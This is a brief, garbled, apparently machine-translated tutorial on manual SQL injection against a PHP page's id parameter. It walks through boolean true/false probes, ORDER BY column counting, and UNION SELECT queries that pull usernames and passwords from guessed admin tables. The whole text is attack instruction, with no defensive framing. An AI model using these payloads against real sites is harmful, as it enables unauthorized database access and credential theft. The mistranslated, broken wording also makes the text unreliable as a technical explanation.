general sql query (CRUD in check)

/ * Examples determines rule
http://xxx.xxx/new.php?id=57 and 1 = 1 correctly
Error http://xxx.xxx/new.php?id=57 and 1 = 2
http://xxx.xxx/new.php?id=57 and 2-1 = 1 correctly
Error http://xxx.xxx/new.php?id=57 and 2-1 = 2
http://xxx.xxx/new.php?id=57 and a = a correct
http://xxx.xxx/new.php?id=57 and 'a' = 'a' errors
* / Of course, different sites may have different judge rules

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In order to determine what code above statements prove database can perform logic is correct in

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Order  by the number of columns or column names
 / * the ORDER BY statement to sort the result set according to the specified queue * /

Of the order by 1 normal order by 2 order by 3 normal is not normal on behalf of the two fields is two

of Union  the SELECT  1 , 2 form the User Name field in the Order by 
/ * of Union check the SELECT field
    form translated into Chinese it is from the mean from certain databases
*/

admin username table table table sys_admin are commonly used user table

So we continue to look at the top of the search field 

union select username,password from admin order by 字段名

The system is also commonly used table requires its own judgment to guess 

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